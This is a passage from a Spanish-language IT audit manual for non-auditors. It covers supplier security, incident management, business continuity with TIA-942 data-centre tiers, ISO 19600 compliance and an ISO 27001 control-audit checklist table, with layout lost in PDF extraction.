Manual de Auditoria para no Auditores Integración Las pruebas de integración son pruebas funcionales entre dos o más sistemas. El objetivo de las pruebas de integración es verificar el correcto ensamblaje entre los distintos componentes una vez que han sido probados unitariamente con el fin de comprobar que interactúan correctamente a través de sus interfaces, cubren la funcionalidad establecida y se ajustan a los requisitos.

14.2.9 Aceptación El objetivo de las pruebas de aceptación es validar que un sistema cumple con el funcionamiento esperado y permitir al usuario de dicho sistema que determine su aceptación, desde el punto de vista de su funcionalidad y rendimiento. En las pruebas de aceptación, la ejecución y aprobación final corresponden al usuario o cliente, que es el que valida y verifica que el alcance es el correcto.

Existen más tipos de pruebas, pero dado que el objeto de este texto, no es hacer un resumen de la ingeniería de software, basta con señalar que estos son los tipos de pruebas más habituales a efectos de auditoria incluyendo las desarrollo y bases de datos además de las de Red, y dado que las pruebas se han de adecuar al entorno y sus herramientas de explotación de la información, consideraremos un resumen valido para nuestros propósitos, el expuesto, ahora bien quien desee profundizar más en los otros tipos de pruebas, sus objetivos y finalidades puede dirigirse a la siguiente dirección web http://ingsw.blogspot.com.es/2005_04_01_archive.html

Página 126 de 430

Manual de Auditoria para no Auditores

Capítulo 18 Relaciones con suministradores. ISO 20000 Dominio 15

Este otro capítulo interesante ya que aquí se formalizan muchos acuerdos de intercambios de información que deben estar formalizados siempre con la asistencia del área legal. Debe estar definida una política que especifica donde se defina qué información se puede compartir con los proveedores y en especial toda información, sujeta hasta la fecha a la Ley de Protección de Datos de Carácter Personal y en un futuro casi inmediato al Reglamento Europeo de Protección de Datos. 15.1.1 Política de seguridad de la información para suministradores: Se deberían acordar y documentar adecuadamente los requisitos de seguridad de la información requeridos por los activos de la organización con el objetivo de mitigar los riesgos asociados al acceso por parte de proveedores y terceras personas. 15.1.2 Tratamiento del riesgo dentro de acuerdos de suministradores: Se deberían establecer y acordar todos los requisitos de seguridad de la información pertinentes a cada proveedor que puede acceder, procesar, almacenar, comunicar o proporcionar componentes de infraestructura de TI que dan soporte a la información de la organización. 15.1.3 Cadena de suministro en tecnologías de la información y comunicaciones: Los acuerdos con los proveedores deberían incluir los requisitos para abordar los riesgos de seguridad de la información asociados con la cadena de suministro de los servicios y productos de tecnología de información y comunicaciones. 15.2 Gestión de la prestación del servicio por suministradores La organización debería verificar la implementación de acuerdos, el monitoreo de su cumplimiento y gestión de los cambios con el fin de asegurar que los servicios que se ser prestan cumplen con todos los requerimientos acordados con los terceros. ¿Lo que recibe vale lo que paga por ello? Dé respuesta a esta pregunta y respáldela con hechos, estableciendo un sistema de supervisión de terceros proveedores de servicios y sus respectivas entregas de servicio.

Página 127 de 430

Manual de Auditoria para no Auditores Revise periódicamente los acuerdos de nivel de servicio (SLA) y compárelos con los registros de supervisión. En algunos casos puede funcionar un sistema de premio y castigo. Esté atento a cambios que tengan impacto en la seguridad. Actividades de control del riesgo 15.2.1 Supervisión y revisión de los servicios prestados por terceros: Las organizaciones deberían monitorear, revisar y auditar la presentación de servicios del proveedor regularmente. 15.2.2 Gestión de cambios en los servicios prestados por terceros: Se deberían administrar los cambios a la provisión de servicios que realizan los proveedores manteniendo y mejorando: las políticas de seguridad de la información, los procedimientos y controles específicos. Se debería considerar la criticidad de la información comercial, los sistemas y procesos involucrados en el proceso de reevaluación de riesgos.

Página 128 de 430

Manual de Auditoria para no Auditores

Capítulo 19 Gestión de Incidentes de Seguridad. ISO 20000 Dominio 16 El objetivo es garantizar que los eventos de seguridad de la información y las debilidades asociados a los sistemas de información sean comunicados de forma tal que se apliquen las acciones correctivas en el tiempo oportuno. Las organizaciones cuentan con innumerables activos de información, cada uno expuesto a sufrir incidentes de seguridad. Resulta necesario contar con una capacidad de gestión de dichos incidentes que permita comenzar por su detección, llevar a cabo su tratamiento y colaborar en la prevención de futuros incidentes similares. Deberían establecerse las responsabilidades y procedimientos para manejar los eventos y debilidades en la seguridad de información de una manera efectiva y una vez que hayan sido comunicados. Se debería aplicar un proceso de mejora continua en respuesta para monitorear, evaluar y gestionar en su totalidad los incidentes en la seguridad de información. Cuando se requieran evidencias, éstas deben ser recogidas para asegurar el cumplimiento de los requisitos legales. Las revisiones post-incidentes y los casos de estudio para incidentes serios, tales como fraudes, ilustran los puntos débiles de control, identifican oportunidades de mejora y conforman por sí mismos un mecanismo eficaz de concienciación en seguridad. Debería establecerse el informe formal de los eventos y de los procedimientos de escalado. Todos los empleados, contratistas y terceros deberían estar al tanto de los procedimientos para informar de los diferentes tipos de eventos y debilidades que puedan tener impacto en la seguridad de los activos organizacionales. Se les debería exigir que informen de cualquier evento o debilidad en la seguridad de información lo más rápido posible y al punto de contacto designado.

Página 129 de 430

Manual de Auditoria para no Auditores Establezca y dé a conocer una hotline (generalmente, el helpdesk habitual de TI) para que la gente pueda informar de incidentes, eventos y problemas de seguridad. 16.1.1 Responsabilidades y procedimientos: Se deberían establecer las responsabilidades y procedimientos de gestión para garantizar una respuesta rápida, eficaz y ordenada a los incidentes de seguridad de la información. 16.1.2 Notificación de los eventos de seguridad de la información: Los eventos de seguridad de la información se deberían informar lo antes posible utilizando los canales de administración adecuados. 16.1.3 Notificación de puntos débiles de la seguridad: Se debería requerir anotar e informar sobre cualquier debilidad sospechosa en la seguridad de la información en los sistemas o servicios tanto a los empleados como a contratistas que utilizan los sistemas y servicios de información de la organización. 16.1.4 Valoración de eventos de seguridad de la información y toma de decisiones: Se deberían evaluar los eventos de seguridad de la información y decidir su clasificación como incidentes. 16.1.5 Respuesta a los incidentes de seguridad: Se debería responder ante los incidentes de seguridad de la información en atención a los procedimientos documentados. 16.1.6 Aprendizaje de los incidentes de seguridad de la información: Se debería utilizar el conocimiento obtenido del análisis y la resolución de incidentes de seguridad de la información para reducir la probabilidad y/o impacto de incidentes en el futuro. 16.1.7 Recopilación de evidencias: La organización debería definir y aplicar los procedimientos necesarios para la identificación, recopilación, adquisición y preservación de la información que puede servir de evidencia. Se aplicará siempre que haya necesidad de evidencia, lo señalado en la ISO-EIC 27037 desde la óptica técnica y se seguirán todas las indicaciones legales a efectos de que sea una prueba válida a efectos judiciales, si así se considera oportuno.

Página 130 de 430

Manual de Auditoria para no Auditores

Capítulo 20 Continuidad del Negocio ISO 22301 / 22320. Dominio 17 El objetivo es preservar la seguridad de la información durante las fases de activación, de desarrollo de procesos, procedimientos y planes para la continuidad de negocio y de vuelta a la normalidad. Se debería integrar dentro de los procesos críticos de negocio, aquellos requisitos de gestión de la seguridad de la información con atención especial a la legislación, las operaciones, el personal, los materiales, el transporte, los servicios y las instalaciones adicionales, alternativos y/o que estén dispuestos de un modo distinto a la operativa habitual. Se deberían analizar las consecuencias de los desastres, fallas de seguridad, pérdidas de servicio y la disponibilidad del servicio y desarrollar e implantar planes de contingencia para asegurar que los procesos del negocio se pueden restaurar en los plazos requeridos las operaciones esenciales, manteniendo las consideraciones en seguridad de la información utilizada en los planes de continuidad y función de los resultados del análisis de riesgos. Deberían llevarse a cabo las pruebas pertinentes (tales como pruebas sobre el papel, simulacros, pruebas de failover, etc.) para (a) mantener los planes actualizados, (b) aumentar la confianza de la dirección en los planes y (c) familiarizar a los empleados relevantes con sus funciones y responsabilidades bajo condiciones de desastre.

Minimizar los efectos de las posibles interrupciones de las actividades normales de la organización asociadas a desastres naturales, accidentes, fallas en el equipamiento, acciones deliberadas u otros hechos, protegiendo los procesos críticos mediante una combinación de controles preventivos y acciones de recuperación. Instruir al personal involucrado en los procedimientos de reanudación y recuperación en relación con los objetivos del plan, los mecanismos de coordinación y comunicación entre equipos (personal involucrado), los procedimientos de divulgación en uso, los requisitos de la seguridad, los procesos específicos para el personal involucrado y responsabilidades individuales. Se deberían determinar los requisitos de seguridad de la información al planificar la continuidad de los procesos de negocio y la recuperación ante desastres. La organización debería establecer, documentar, implementar y mantener procesos, procedimientos y cambios de implementación para mantener los controles de seguridad de la información existentes durante una situación adversa. Si los controles de seguridad no pueden continuar resguardando la Página 131 de 430

Manual de Auditoria para no Auditores información ante situaciones adversas, se deberían establecer, implementar y mantener otros controles para mantener un nivel aceptable de seguridad de la información. Las organizaciones deberían verificar la validez y la efectividad de las medidas de continuidad de la seguridad de la información regularmente, especialmente cuando cambian los sistemas de información, los procesos, los procedimientos y los controles de seguridad de la información, o los procesos y soluciones establecidas para la gestión de la continuidad de negocio. 17.1.1 Planificación de la continuidad de la seguridad de la información: La organización debería determinar los requisitos para la seguridad de la información y su gestión durante situaciones adversas como situaciones de crisis o de desastre. 17.1.2 Implantación de la continuidad de la seguridad de la información: La organización debería establecer, documentar, implementar y mantener los procesos, procedimientos y controles para garantizar el mantenimiento del nivel necesario de seguridad de la información durante situaciones adversas. 17.1.3 Verificación, revisión y evaluación de la continuidad de la seguridad de la información: La organización debería verificar regularmente los controles de continuidad de seguridad de la información establecidos e implementados para poder garantizar su validez y eficacia ante situaciones adversas. Es obvio que tanto el CSGSI como el SGA junto con los responsables de las áreas afectadas deberán crear un comité mixto, reducido y localizado en todo momento para todo lo relativo a la toma de decisiones. Aquí es donde adquieren todo su sentido y valor económico y de ahorro de tiempo tanto las copias de seguridad como los centros de respaldo sean o no virtualizados. En realidad, estamos no tratando sólo con la norma ISO 27001 sino con la 22301 y en el caso de un entorno industrial también tendríamos que operar de acuerdo con las instrucciones derivadas de la 22320 que son las relativas a la gestión de emergencia por parte de las autoridades competentes. 17.2 Redundancias / Duplicidades Se deberían considerar los componentes o arquitecturas redundantes cuando no se pueda garantizar el nivel de disponibilidad requerido por las actividades de la organización a través de arquitecturas sencillas típicas o los sistemas existentes se demuestren insuficientes. Se deberían probar los sistemas de información redundantes para garantizar que la conmutación funcione adecuadamente. 17.2.1 Disponibilidad de instalaciones para el procesamiento de la información: Se debería implementar la suficiente redundancia en las instalaciones de Página 132 de 430

Manual de Auditoria para no Auditores procesamiento de la información y en correspondencia con los requisitos de disponibilidad. Métricas asociadas Medidas típicas que se pueden aplicar y medir en cada sistema relevante (hardware, software, información, ...) para el cálculo son "MTTF" (Mean Time To Failure), "MTBF" (Mean Time Between Failure, típicamente MTTF + MTTR), MTTR (Mean Time To Repair). De ese modo se puede calcular el grado de disponibilidad a largo plazo (MTTF/MTBF) y fiabilidad de un sistema. En realidad, todo lo relativo a la norma 22301 / 22302 gira en torno al entorno físico y dicho entorno se encuentra definido bajo una serie de normas técnicas que no pertenecen al ámbito ISO propiamente dicho y que configuran lo que se conoce como el estándar TIA 942 del cual insertamos un resumen que consideramos valido a efectos a ilustrar sus contenidos, alcance y objetivos específicos. Extraído y adaptado de la siguiente dirección web http://www.c3comunicaciones.es/data-center-el-estandar-tia-942/

Estándar TIA 942/942 A Concebido como una guía para los diseñadores e instaladores de centros de datos (Data Centers), el estándar TIA942 (2005) proporciona una serie de recomendaciones y directrices (guidelines) para la instalación de sus infraestructuras. Aprobado en 2005 por ANSI-TIA, clasifica a este tipo de centros en varios grupos, llamados TIER (anexo G), indicando así su nivel de fiabilidad en función del nivel de disponibilidad.

Al diseñar los centros de datos conforme a la norma, se obtienen ventajas fundamentales, como son:    

Nomenclatura estándar. Funcionamiento a prueba de fallos. Aumento de la protección frente a agentes externos. Fiabilidad a largo plazo, mayores capacidades de expansión y escalabilidad.

De acuerdo con el estándar TIA-942, la infraestructura de soporte de un Data Center estará compuesta por cuatro subsistemas: 

Telecomunicaciones: Cableado de armarios y horizontal, accesos redundantes, cuarto de entrada, área de distribución, backbone,

Página 133 de 430

Manual de Auditoria para no Auditores







elementos activos y alimentación redundantes, patch panels y latiguillos, documentación. Arquitectura: Selección de ubicación, tipo de construcción, protección ignífuga y requerimientos NFPA 75(Sistemas de protección contra el fuego para información), barreras de vapor, techos y pisos, áreas de oficina, salas de UPS y baterías, sala de generador, control de acceso, CCTV, NOC (Network Operations Center – Centro operativo). Sistema eléctrico: Número de accesos, puntos de fallo, cargas críticas, redundancia de UPS y topología de UPS, puesta a tierra, EPO (Emergency Poner Off- sistemas de corte de emergencia) baterías, monitorización, generadores, sistemas de transferencia. Sistema mecánico: Climatización, presión positiva, tuberías y drenajes, Crac y condensadores, control de HVAC (High Ventilating Air Conditionning), detección de incendios y sprinklers, extinción por agente limpio (NFPA 2001), detección por aspiración (ASD), detección de líquidos.

Asimismo, y siguiendo las indicaciones del estándar, un CPD deberá incluir varias áreas funcionales:       

Una o varias entradas al centro. Área de distribución principal. Una o varias áreas de distribución principal. Áreas de distribución horizontal Área de equipo de distribución. Zona de distribución. Cableado horizontal y backbone.

El concepto de TIER El nivel de fiabilidad de un centro de datos viene indicado por uno de los cuatro niveles de fiabilidad llamados TIER, en función de su redundancia (anexo G). A mayor número de TIER, mayor disponibilidad, y por tanto mayores costes de construcción y mantenimiento. TIER TIER I TIER II TIER III TIER IV

% Disponibilidad 99,67% 99,74% 99, 982 % 100,00%

% Parada 0,33% 0,25% 0,02% 0,01%

Tiempo anual de parada 28,82 horas 22,68 horas 1,57 horas 52,56 minutos

TIER I- Nivel 1 (Básico)      

Disponibilidad del 99,671 %. Sensible a las interrupciones, planificadas o no. Un solo paso de corriente y distribución de aire acondicionado, sin componentes redundantes. Sin exigencias de piso elevado. Generador independiente. Plazo de implementación: 3 meses. Página 134 de 430

Manual de Auditoria para no Auditores  

Tiempo de inactividad anual: 28,82 horas. Debe cerrarse completamente para realizar mantenimiento preventivo.

TIER II- Nivel II (Componentes redundantes) 1. 2. 3. 4. 5. 6. 7. 8. 9.

Disponibilidad del 99,741 %. Menor sensibilidad a las interrupciones. Un solo paso de corriente y distribución de aire acondicionado, con un componente redundante. Incluye piso elevado, UPS y generador. Plazo de implementación: 3 meses. Tiempo de inactividad anual: 28,82 horas. Plazo de implementación: 3 a 6 meses. Tiempo de inactividad anual: 22,0 horas. El mantenimiento de la alimentación y otras partes de la infraestructura requieren de un cierre de procesamiento.

TIER III- Nivel III (Mantenimiento concurrente)     

Disponibilidad 99,982 %. Interrupciones planificadas sin interrupción de funcionamiento, pero posibilidad de problemas en las no previstas. Múltiples accesos de energía y refrigeración, por un solo encaminamiento activo. Incluye componentes redundantes (N+1). Plazo de implementación: 15 a 20 meses. Tiempo de inactividad anual: 1,6 horas.

TIER IV- Nivel IV (Tolerante a errores)  



 

99,995 % de disponibilidad. Interrupciones planificadas sin interrupción de funcionamiento de los datos críticos. Posibilidad de sostener un caso de improviso sin daños críticos. Múltiples pasos de corriente y rutas de enfriamiento. Incluye componentes redundantes. Incluye componentes redundantes (2(N+1))2 UPS cada uno con redundancia (N+1). Plazo de implementación: 15 a 20 meses. Tiempo de inactividad anual: 0,4 horas.

Página 135 de 430

Manual de Auditoria para no Auditores Novedades introducidas por la Norma 942A Resumimos en este apartado las modificaciones introducidas, en el campo del cableado, tanto en fibra como en cobre, por el estándar TIA 942 (A), de aplicación en Data Centers. Si bien se trata de una normativa de origen USA, el estándar ANSI/TIA-942, editado en 2005, y con revisiones cada 5 años, puede ser considerado como “un sistema genérico de cableado para los Data Centers y su ámbito de influencia” (Página IX de las normativas). En su reciente actualización (2013), incorpora las siguientes novedades: 





  

La utilización en los DC de fibras multimodo queda reservada a los tipos OM3 y OM4 (50/125), y equipos con emisores LASER 850 nm. Quedando prohibida la utilización de fibras de los tipos OM1 y OM2 anteriormente empleados. Para los cableados de cobre, se recomienda el empleo de Cat6 (mínimo) y Cat6A apantallados. En este campo se coincide con ISO/IEC 24764, que reconoce únicamente enlaces Clase EA (Cat 6ªA) Queda suprimida la limitación de 100 m. de longitud en cableados horizontales, para la fibra óptica, quedando la definición de este concepto a la responsabilidad del fabricante. Conectores ópticos: queda reducida la selección a los tipos LC Dúplex, para cables dúplex, y MPO para más de 12 fibras Se recomienda el uso de arquitecturas centralizadas y jerárquicas, por ser más flexible que los enlaces directos. Queda reestructurada la organización de los entornos DC, incluyendo tres tipos de áreas: MDA Main Distribution Area), IDA (Intermediate Distribution Area, HDA (Horizontal distribution Area) y ZDA (Optional Zone Distribution Area); algunas de las cuales pueden precisar de cableados supletorios. Con ello, instalaciones amplias pueden precisar de varias ubicaciones y varios IDAs, con cableados redundantes.

Página 136 de 430

Manual de Auditoria para no Auditores No obstante, debemos de señalar, que este estándar, debe cumplirse por las empresas que ofrecen servicios de hosting y las diversas derivaciones en forma de servicios que las tecnologías CloudComputing han generado en los últimos años y que anunciamos aquí por ser de interés con vistas a reducir a la mínima expresión el riesgo en términos de negocio y operación. Tendencias Actuales.

El que existan estas tecnologías no supone, que se puedan omitir estos controles anteriores pues las normas, que regulan estas nuevas tecnologías, están en fase de desarrollo, pues la tecnología CloudComputing es una tecnología emergente y requerirá de tiempo para asentarse y estabilizarse.

Página 137 de 430

Manual de Auditoria para no Auditores

Capítulo 20 Cumplimiento Legal. ISO 19600 Dominio 18

Aquí es donde la ISO 27001 se engarza con otra norma ISO 19600 que se creó para incluir las responsabilidades legales y en particular las responsabilidades penales, del ámbito TIC / SI, dentro de los objetos de Derecho. Pues hasta ahora era un ámbito no regulado legalmente, sino el soporte de otros ámbitos legales por ejemplo leyes relativas a la Propiedad Intelectual e Industrial, la Protección de los datos de carácter personal, etc. Dado que las tecnologías de la información y las telecomunicaciones no eran consideradas fuente de Derecho, sin embargo y debido al peso y a la influencia social, que ejercen en la sociedad actual, el Derecho se ha visto obligado no sólo a incluirlas con carta de naturaleza propia, sino que, además muchos ámbitos del Derecho se redefinen ahora partiendo de las mismas. El diseño, operación, uso y administración de los sistemas de información están regulados por disposiciones legales y contractuales. Los requisitos normativos y contractuales pertinentes a cada sistema de información deberían estar debidamente definidos y documentados. El objetivo es cumplir con las disposiciones normativas y contractuales a fin de evitar sanciones administrativas a la organización y/o a los empleados que incurran en responsabilidad civil o penal como resultado de incumplimientos. Se debe revisar la seguridad de los sistemas de información periódicamente a efectos de garantizar la adecuada aplicación de la política, normas y procedimientos de seguridad, sobre las plataformas tecnológicas y los sistemas de información. 18.1 Cumplimiento de los requisitos legales y contractuales El diseño, operación, uso y gestión de los sistemas de información pueden ser objeto de requisitos estatutarios, reguladores y de seguridad contractuales. Los requisitos legales específicos deberían ser advertidos por los asesores legales de la organización o por profesionales adecuadamente cualificados.

Página 138 de 430

Manual de Auditoria para no Auditores Los requisitos que marca la legislación cambian de un país a otro y pueden variar para la información que se genera en un país y se transmite a otro país distinto (por ej., flujos de datos entre fronteras). Obtenga asesoramiento legal competente, especialmente si la organización opera o tiene clientes en múltiples jurisdicciones. 18.1.1 Identificación de la legislación aplicable: Se deberían identificar, documentar y mantener al día de manera explícita para cada sistema de información y para la organización todos los requisitos estatutarios, normativos y contractuales legislativos junto al enfoque de la organización para cumplir con estos requisitos. 18.1.2 Derechos de propiedad intelectual (DPI): Se deberían implementar procedimientos adecuados para garantizar el cumplimiento con los requisitos legislativos, normativos y contractuales relacionados con los derechos de propiedad intelectual y utilizar productos software originales. 18.1.3 Protección de los registros de la organización: Los registros se deberían proteger contra pérdidas, destrucción, falsificación, accesos y publicación no autorizados de acuerdo con los requisitos legislativos, normativos, contractuales y comerciales. 18.1.4 Protección de datos y privacidad de la información personal: Se debería garantizar la privacidad y la protección de la información personal identificable según requiere la legislación y las normativas pertinentes aplicables que correspondan. 18.1.5 Regulación de los controles criptográficos: Se deberían utilizar controles de cifrado de la información en cumplimiento con todos los acuerdos, la legislación y las normativas pertinentes. Ello debe ser coherente con lo establecido en los dominios 10 y 11 donde se definían los controles criptográficos aplicables y la seguridad medioambiental que incluye no sólo el reciclaje de los materiales físicos, sino también la destrucción controlada de información no reutilizable por su contenido, que puede ser sensible y que no puede ser utilizada ni siquiera, con fines estadísticos o científicos. Aunque la norma ISO 19600, no es una norma certificable es análoga a 27002, es decir, es un conjunto de las mejores prácticas profesionales, es importante explicar que, al tratarse de un conjunto de prácticas relacionadas con el ámbito jurídico, y la seguridad de la información implica cumplir con disposiciones legales, es interesante conocer cómo se integra esta norma como también lo hacen 22301, 22302 / 14001 por ejemplo. Empecemos por algo sencillo que funciones desempeña el responsable compliance Función de compliance (Norma UNE-ISO 19600 punto 5.3.4) Debe encargarse de responsabilidad de las siguientes cuestiones: Identificar las obligaciones de compliance y traducir esas obligaciones en políticas, procedimientos y procesos viables. Página 139 de 430

Manual de Auditoria para no Auditores

Integrar las obligaciones de compliance en las políticas, procedimientos y procesos existentes. Proporcionar apoyo formativo continuo a la organización, asegurando que los empleados con puestos relevantes tengan una formación continua. Promover la inclusión de las responsabilidades de compliance en la descripción de los puestos de trabajo. Poner en marcha un sistema de documentación e información de compliance . Desarrollar e implementar procesos de gestión de la información, un canal de denuncias anónimas u otros mecanismos. Establecer indicadores de desempeño de compliance y supervisar y medir el desempeño de compliance. Analizar el desempeño para identificar las necesidades correctivas. Identificar los riesgos de compliance y gestionar los riesgos relacionados con terceras personas (proveedores, agentes, consultores). Asegurar que se revisa el sistema de gestión de compliance con la periodicidad planificada. Asegurar el acceso a un asesoramiento profesional adecuado para el mantenimiento e implementación del sistema de compliance. Promocionar a los empleados acceso a los recursos de compliance. Proporcionar asesoramiento objetivo a la organización en materia de compliance. La Norma prevé que la función de compliance puede ser asignada a una posición existente, ya que «no todas las organizaciones crearán una función de compliance». Esa función de cumplimiento afecta, asimismo, por un lado, a la Alta dirección de la organización, que debe apoyar la función de compliance, identificar y comunicar los riesgos, asegurar el cumplimiento y efectividad de las medidas correctoras derivadas de los incumplimientos del sistema de gestión de compliance, etc.; y por otro, a los empleados, los cuales deben observar las obligaciones de compliance, informar sobre sus preocupaciones y fallos que adviertan en el sistema de compliance, etc. (Norma UNE-ISO 19600 apartados 5.3.5 y 5.3.6) PRECISIONES Se pretende instaurar una cultura de compliance con la Norma UNE-ISO 19600, lo que exigirá una evaluación permanente y a la vez periódica del sistema de compliance, la realización de auditorías externas sobre el Página 140 de 430

Manual de Auditoria para no Auditores cumplimiento y mejora (téngase en cuenta que la «externalización de las operaciones de una organización no le libera de sus responsabilidades legales o sus responsabilidades de compliance» (Norma UNE-ISO 19600 apartado 8.3). Aspectos positivos que aporta la norma 19600 a las organizaciones con respecto a las obligaciones derivadas de cumplimientos normativos y legales. 1. En primer lugar, la Norma parte del principio de que compliance es el resultado de que una organización cumple con sus obligaciones. Precisamente por ello sostiene que una organización que pretenda tener éxito a medio plazo debe mantener una cultura de integridad y de cumplimiento. Quiere decirse con ello que integridad y compliance son una «oportunidad para una organización de éxito y sostenible». 2. La norma se cuida en indicar que no especifica requisitos, sino que proporciona una guía para los sistemas de gestión de compliance. El objetivo es que los principios contenidos en la norma (guía) sirvan para todo tipo de organización, con independencia del tamaño de la misma y de su sistema previo de control de los riesgos. 3. Parte de un principio de mejora continua que responde al siguiente esquema: Planificar, Hacer, Verificar, Actuar. 4. El apartado tercero de la norma recoge una serie de definiciones (organización, parte interesada, órgano de gobierno, alta dirección, etc.) que tienen trascendencia la hora de conocer la finalidad de la norma. 5. La norma regula con detalle la política de compliance, distinguiendo los diferentes roles del encargado de cumplimiento, la alta dirección y los empleados de la organización. Regulando asimismo una evaluación continua en el desempeño de la función de compliance.

Página 141 de 430

Manual de Auditoria para no Auditores

Capítulo 21 ISO 27007 ¿Cómo se auditan los controles por parte del Auditor? Es obvio que una Auditoria es una labor de equipo y ello supone que el Equipo de Auditoria y el Cliente, deben conocer y acordar el alcance del proyecto, quienes serán los interlocutores, que calendarios de entrevistas hay que establecer, quienes son los informados, los responsables, los consultados y por supuesto los auditados. Transmitir y concienciar que una Auditoria no es una caza de brujas, no se trata de buscar culpables de: fallos, anomalías, vulnerabilidades, amenazas de manera individual, se trata de localizar eso fallos, esas anomalías, esas amenazas y tratar de erradicarlas si es posible, en caso de que esto, no sea posible, subsanar los fallos o insuficiencia de documentación, actualizar y adecuar los procedimientos a la estructura y tecnología vigentes, o recomendar cambios hacia esas tecnologías, si reportan beneficios de seguridad y económicos, etc. Como el lenguaje es muy importante y con el fin de transmitir los resultados de la forma más objetiva posible, trasladaremos los hallazgos mediante la siguiente tabla que proponemos a manera de ejemplo y que sirve, para que todos los interlocutores puedan comprender que técnicas de investigación vamos a emplear durante el proceso de auditoría. Rellenar el Dominio y los Controles que van a ser evaluados por parte del equipo de Auditoria. El símbolo  se utilizará para los controles que están relacionados con Telecomunicaciones / Redes. El símbolo  significa que se recomienda: una inspección visual o el uso de una herramienta que nos permita capturar todas las informaciones, que aparezcan en la pantalla y que sean relevantes para obtener información sustancial del proceso o actividad que deba ser posteriormente analizada con mayor profundidad incluyendo el uso de herramientas de informática forense. Los campos Organizativo y Técnico, hacen referencia a que tipo de actividad de control se refiere, si hay hallazgos significativos o relevantes, se reflejaran mediante una nota técnica o en caso de aplicar otras normas ISO-IEC también se reflejaran en él mismo. Es obvio que esta guía se configura en horizontal y esto sólo está expuesto como explicación. Se recomienda incluso elaborar dos formatos separados.

Página 142 de 430

Manual de Auditoria para no Auditores Control 9 dominio 9.9 Control

Organizativo 

Técnico 

 

 

Guía / Nota

En las anteriores versiones de la norma 27001 se utilizaba el Anexo A, aquí se consignaba los criterios debería aplicar el Auditor, a la hora de evaluar estos controles en particular. Tanto si aplica como, si no se aplica se puede especificar en el campo Guía / Nota siempre y cuando se justifique el porqué de la opción seleccionada. Esto es especialmente importante si estamos auditando cualquier infraestructura critica. Insertamos aquí un ejemplo proporcionado por AENOR sobre cómo se deben auditar los controles de la 27001 la versión previa a la 2013

COLUMNAS  ORG.: Controles de seguridad de tipo organizacional  X Revisión de la documentación de los procedimientos, entrevistas, observación  TECN.: Controles de seguridad de tipo técnico:  X El control tiene un componente técnico a revisar  LOG: Revisión de sistemas/Herramienta de Audit/logs

 P="posible": la revisión es factible para la evaluación del control, pero no es necesaria  R= “recomendado” la revisión es normalmente necesaria pero la exclusión se puede justificar  O= “obligado-requerido” la revisión es obligatoria



☺: Inspección visual 

☺ Procede realizar una inspección visual.

 Comentarios  Cualquier aclaración o ámbito específico del audit, por ejemplo, la documentación a pedir, etc...

Página 143 de 430

Manual de Auditoria para no Auditores

TABLA DE CONTROLES N N N 1 2 3

TITULO

ORG

TEC LOG N

☺

Comentarios

5

POLÍTICA DE SEGURIDAD

5

1

POLÍTICA DE SEGURIDAD DE LA INFORMACIÓN

5

1

Documento de política de 1 seguridad de la información

X

5

1

Revisión de la política de 2 seguridad de la información

X

Acta revisión por la dirección

ORGANIZACIÓN DE LA SEGURIDAD DE LA INFORMACIÓN

6

ORGANIZACIÓN INTERNA

6

1

6

1

Comité de gestión de la 1 seguridad de la información

X

Actas de reuniones

6

1

Coordinación de la seguridad 2 de la información

X

Actas de reuniones

X

1

Asignación de responsabilidades en 3 seguridad de la información

X

6

1

Proceso de autorización de recursos para la seguridad de 4 la información

6

1

5 Acuerdos de confidencialidad

X

6

1

6 Relación con las autoridades

X

6

1

Relación con grupos de 7 interés especial

X

6

1

Revisión independiente de la 8 seguridad

X

6

Copia de los acuerdos

Leer los informes

Página 144 de 430

Manual de Auditoria para no Auditores N N N 1 2 3 6

2

TITULO

ORG

TEC LOG N

☺

Comentarios

TERCERAS PARTES

6

2

Identificación de riesgos relacionados con terceras 1 partes

6

2

Requisitos de seguridad en las 2 relaciones con clientes

X

6

2

Requisitos de seguridad en los 3 contratos con terceros

X

Comprobar algunas cláusulas

Identificar los activos

7

X

GESTIÓN DE ACTIVOS RESPONSABILIDAD DE LOS ACTIVOS

7

1

7

1

1 Inventario de activos

X

7

1

2 Propietarios de los activos

X

7

1

3 Uso aceptable de los recursos

X

7

2

7

2

CLASIFICACIÓN DE LA INFORMACIÓN 1 Guías de clasificación

X Comprobar los nombres y etiquetas:

X

7

2

Etiquetado y tratamiento de la 2 información

directorios, ficheros, informes impresos, media grabados (p.e: CD. Cintas, discos...), correos electrónicos y ficheros intercambiados

SEGURIDAD LIGADA AL PERSONAL

8 8

1

ANTES DE LA RELACIÓN LABORAL

8

1

1 Funciones y responsabilidades

X Página 145 de 430

Manual de Auditoria para no Auditores N N N 1 2 3

TITULO

8

1

2 Credenciales

8

1

Términos y condiciones del 3 empleo

8

2

8

2

ORG

☺

Comentarios

X

DURANTE LA RELACIÓN LABORAL Responsabilidades de los 1 directores

X Preguntar a los empleados si están conscientes o concienciados sobre sus obligaciones en seguridad

X

8

2

Concienciación, formación y capacitación en seguridad de 2 la información

8

2

3 Proceso disciplinario

8

3

FINAL O CAMBIO EN LA RELACIÓN LABORAL

8

3

Responsabilidades al finalizar 1 la relación laboral

X

8

3

2 Devolución de los equipos

X

8

3

Supresión de los derechos de 3 acceso

X

9

TEC LOG N

X

X

R

X

P

SEGURIDAD FÍSICA

9

1

ÁREAS SEGURAS

9

1

1 Perímetro de seguridad física

X

9

1

2 Control físicos de entrada

X

9

1

Seguridad de oficinas, 3 despachos y salas

X

☺

9

1

Protección contra amenazas 4 externas y ambientales

X

☺

☺

Revisar los archivos de control de acceso

Página 146 de 430

Manual de Auditoria para no Auditores N N N 1 2 3

TITULO

ORG

TEC LOG N

☺

9

1

5 Trabajo en áreas seguras

X

☺

9

1

Acceso público, zonas de 6 carga y descarga

X

☺

9

2

SEGURIDAD DE LOS EQUIPOS

9

2

Instalación y protección de los 1 equipos

X

X

P

☺

9

2

2 Servicios de suministro

X

X

P

☺

9

2

3 Seguridad del cableado

X

☺ Averiguar si hay contrato de mantenimiento

X 9

2

4 Mantenimiento de los equipos

X

X

P

9

2

Seguridad de equipos fuera de 5 los locales propios

9

2

Seguridad en la reutilización o 6 eliminación de equipos

X

X

P

9

2

7 Sustracciones de equipos

X

X

R

10

GESTIÓN DE COMUNICACIONES Y OPERACIONES

10

1

PROCEDIMIENTOS Y RESPONSABILIDADES DE OPERACIONES

10

1

Procedimientos de 1 operaciones documentados

X

10

1

2 Gestión de los cambios

X

10

1

3 Segregación de tareas

X

Comentarios

Cifrado en los equipos que van fuera de la oficina

☺

¿Siguen métodos ITIL o ITSM?

Página 147 de 430

Manual de Auditoria para no Auditores N N N 1 2 3

TITULO

ORG

1

